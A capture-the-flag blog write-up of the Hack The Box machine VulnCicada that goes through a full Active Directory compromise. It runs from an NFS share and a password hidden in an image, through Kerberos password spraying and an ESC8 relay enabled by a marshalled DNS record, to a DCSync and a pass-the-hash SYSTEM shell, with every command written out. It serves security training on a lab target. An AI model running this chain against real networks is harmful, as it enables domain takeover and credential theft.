October 13, 2026·Johnytiger

HTB: VulnCicada

NFS hands over a list of domain usernames, and a password hiding on a sticky note inside a stego'd PNG gets us our first Kerberos login. From there AD CS is vulnerable to ESC8, but the relay only fires once we feed Active Directory a marshalled DNS record that points the coercion right back at us, ending in a DCSync for Domain Admin.

securityctfwriteuphacktheboxactive directorywindowsnfsadcsesc8ntlm relaykerberosdcsync

We kick things off with the usual nmap scan, and we can see there's something hosted on port 80 and that this is an Active Directory environment.

nmap -sCV -p- -Pn 10.129.107.50 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

The nmap scan showing port 80 open alongside Kerberos, LDAP, SMB and the usual Active Directory services on the target

Let's add the cicada.vl domain to our hosts file and run enum4linux-ng to see what we can pull.

enum4linux-ng -A cicada.vl -u '' -p ''

enum4linux-ng run against cicada.vl with a null session, returning very little usable information

Not much here, so let's keep moving. Looking back at the nmap we can see there's an NFS export exposed, maybe we can mount it to our Kali box.

The nmap output highlighting an exposed NFS service on the target

showmount -e 10.129.107.50

showmount against the target listing an exported profiles share over NFS

There's a /profiles export, let's try to mount that. The first attempt fatfingers the path, so we fix it and add the nolock option.

sudo mount -t nfs -o vers=3,nolock 10.129.107.50:/profiles /mnt/cicada && ls -lan /mnt/cicada

The profiles share mounted over NFS, its per-user folders revealing a list of domain usernames

We get usernames! Let's save these all to a users.txt list, then enumerate the directory properly.

ls -laR /mnt/cicada

A recursive listing of the mounted profiles share

The recursive listing revealing two image files, vacation.png and marketing.png, inside a user profile

Let's bring over those image files. We'll run file and exiftool on the two of them.

file vacation.png marketing.png
exiftool vacation.png marketing.png

file and exiftool run on the two images, with exiftool throwing an error on marketing.png that hints at embedded data

That marketing.png throws an error, so something could be embedded in it. We'll run binwalk on both and see what we get.

binwalk marketing.png vacation.png

binwalk run on both images, flagging extra embedded content inside marketing.png

One of the images has a woman at a computer with a password exposed on a sticky note on her desk! We have to fix the permissions on that marketing.png first.

sudo chown poe:poe marketing.png && chmod 644 marketing.png && ls -la marketing.png

The recovered marketing.png: a person at a multi-monitor gaming rig with a bright yellow sticky note on the desk reading the password Cicada123

Great, let's grab that password and spray it across the usernames we have.

A password spray of Cicada123 across the username list over SMB, returning no hits

No hits on SMB, so let's keep checking out that photo. Checking for WinRM we get NTLM:False, which means we have to hit the DC and run everything through Kerberos.

A WinRM check reporting NTLM is false, meaning authentication has to go through Kerberos against the domain controller

Let's run the spray again against the dc-jpq225.cicada.vl host, this time with Kerberos.

nxc smb dc-jpq225.cicada.vl -u users.txt -p 'Cicada123' -k --continue-on-success

A Kerberos password spray against the domain controller landing a valid hit for Rosie.Powell with Cicada123

We have a hit, Rosie.Powell:Cicada123. Let's check what shares we can touch.

nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --shares

Enumerating shares as Rosie.Powell: read and write on the profiles share and read on CertEnroll

We have READ and WRITE on profiles$ and READ on CertEnroll. Let's spider the shares and see what's going on.

nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k -m spider_plus

There are some interesting files and certs we can read.

Spidering the shares as Rosie.Powell, turning up interesting files and certificates

Let's lock in a TGT with impacket before moving forward.

impacket-getTGT cicada.vl/Rosie.Powell:'Cicada123'
export KRB5CCNAME=$PWD/Rosie.Powell.ccache

Requesting a Kerberos TGT for Rosie.Powell with impacket and exporting the credential cache

Now that we have a foothold, let's enumerate users and make sure we aren't missing anything sprayable or any info hiding in the descriptions.

nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --users

Enumerating domain users as Rosie.Powell to check for other sprayable accounts or hints in the descriptions

Let's grab BloodHound and sniff around to see if we have any ACL edges.

nxc ldap dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --bloodhound --dns-server 10.129.107.50 -c all

Collecting BloodHound data over LDAP as Rosie.Powell

Let's run that through BloodHound and check the graph.

The BloodHound graph for the Rosie.Powell account

We're part of the Cicada group, let's check that out.

BloodHound showing Rosie.Powell is a member of the Cicada group, with no obvious ACL edges to abuse

We find no useful edges, so let's head back to our terminal and run certipy against the CA.

certipy-ad find -u Rosie.Powell -p 'Cicada123' -k -target dc-jpq225.cicada.vl -dc-ip 10.129.107.50 -vulnerable -stdout

certipy enumerating the certificate templates on the AD CS server

We have info here, and we can see it's vulnerable to ESC8.

certipy flagging the environment as vulnerable to ESC8, an NTLM relay to the AD CS web enrollment endpoint

sudo certipy-ad relay -target 'http://10.129.107.50' -template DomainController
nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k -M coerce_plus -o LISTENER=10.10.14.211

The first certipy relay and coercion attempt, which fails to return a certificate

Something's going on here, we didn't get the .pfx back, so let's figure this out. We'll use bloodyAD to add a DNS A record pointing at our Kali box, then run krbrelayx and catch the coercion on our side.

bloodyAD -k --host dc-jpq225.cicada.vl -d cicada.vl --dc-ip 10.129.107.50 add dnsRecord attacker 10.10.14.211
sudo python3 ~/tools/krbrelayx/krbrelayx.py -t 'http://10.129.107.50/certsrv/certfnsh.asp' --adcs --template DomainController -ip 10.10.14.211
python3 ~/tools/krbrelayx/printerbug.py 'cicada.vl/Rosie.Powell:Cicada123'@dc-jpq225.cicada.vl attacker.cicada.vl -k

A krbrelayx and printerbug attempt that also fails to coerce authentication back to our box

This didn't work either, so we have to take a step back and re-evaluate our position.

After doing some research, we're going to replace that DNS record with a marshalled one, meaning we bake the DC's name identifier (JPQ225) into the record so the server recognizes it, which should let the Kerberos relay actually fire.

export KRB5CCNAME=$PWD/Rosie.Powell.ccache
bloodyAD -k --host dc-jpq225.cicada.vl -d cicada.vl --dc-ip 10.129.107.50 \
add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" 10.10.14.211

Adding a marshalled DNS record built around the domain controller name with bloodyAD so the coercion target resolves back to the attacker box

We have to give this time and wait for it to resolve.

Waiting for the new DNS record to resolve

Now let's give the relay another shot.

The relay firing successfully this time and capturing the domain controller certificate

We got it! Now let's use certipy to PKINIT, and then we DCSync with impacket.

certipy-ad auth -pfx DC-JPQ225.pfx -dc-ip 10.129.107.50
impacket-secretsdump -k -no-pass -just-dc-user Administrator 'cicada.vl/dc-jpq225$@dc-jpq225.cicada.vl'

Using certipy to authenticate with the domain controller certificate, then dumping the Administrator hash with a DCSync via impacket secretsdump

Great, we got the Administrator hash. Let's psexec into the box and pass that hash.

impacket-psexec -hashes :85a0da53871a9d56b6cd05deda3a5e87 -k cicada.vl/Administrator@dc-jpq225.cicada.vl -dc-ip 10.129.107.50

We land in the NT AUTHORITY\SYSTEM account, head over to the Administrator desktop, and grab both the user and root flags.

A psexec Administrator shell on the domain controller with the user and root flags on screen, both blurred

This box was pretty interesting. I hadn't had to deal with a DNS record situation like this before, so this one was a total learning experience.

End of transmissionAll posts